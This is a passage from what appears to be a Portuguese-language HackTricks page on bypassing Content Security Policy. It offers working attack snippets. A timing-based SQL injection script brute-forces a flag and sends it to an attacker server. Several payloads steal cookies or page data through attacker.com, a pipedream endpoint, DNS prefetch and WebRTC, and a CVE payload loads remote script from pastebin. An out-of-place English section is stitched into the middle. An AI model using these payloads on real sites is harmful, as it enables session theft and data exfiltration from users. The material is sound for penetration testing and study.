return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Via Bookmarklets

Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.

Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### CSP bypass restringindo o CSP

Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado injetando em um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.

Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Exfiltração de JS com Content-Security-Policy-Report-Only

Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.

Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Vazamento de Informações com CSP e Iframe

* Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
* Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
* Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.

É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.

Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método depende de um algoritmo de busca binária e ajuste do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.

Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.

Truque de [**aqui**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>

Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!

**Percepções de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking

**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real

**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!

## Tecnologias Inseguras para Bypass CSP

### Sobrecarga de buffer de resposta PHP

O PHP é conhecido por **bufferizar a resposta para 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.

Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Reescrever Página de Erro

De [**este writeup**](https://blog.ssrf.kr/69) parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## Bypasses de Exfiltração de CSP

Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

### Localização

Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores vão pré-resolver os nomes de host em endereços IP e armazená-los em cache para uso posterior.\
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`

Você poderia abusar desse comportamento para **exfiltrar informações sensíveis por meio de solicitações DNS**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
### Bypassing Content Security Policy (CSP)

#### Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, it is possible to bypass CSP protections using various techniques.

#### Bypassing CSP using `unsafe-inline`

One common way to bypass CSP is by exploiting the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which can be abused by an attacker to inject malicious code into the web page. By finding a way to inject code inline, an attacker can bypass CSP protections that restrict the use of inline scripts and styles.

#### Bypassing CSP using data: URIs

Another technique to bypass CSP is by using data: URIs. Data: URIs allow developers to embed small resources directly into a web page, such as images or scripts. By encoding malicious code into a data: URI and including it in the web page, an attacker can execute code while bypassing CSP restrictions on external resources.

#### Conclusion

While Content Security Policy is a powerful security mechanism for protecting web applications against various types of attacks, it is important for developers to be aware of potential bypass techniques. By understanding how CSP can be bypassed, developers can implement more robust security measures to protect their web applications from malicious actors.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Aparentemente, essa técnica não funciona em navegadores sem interface (bots)
{% endhint %}

### WebRTC

Em várias páginas, você pode ler que o **WebRTC não verifica a política `connect-src`** do CSP.

Na verdade, você pode _vazar_ informações usando uma _solicitação DNS_. Confira este código:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Outra opção:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Verificando Políticas CSP Online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Criando CSP Automaticamente

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referências

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>

Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!

**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma

**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>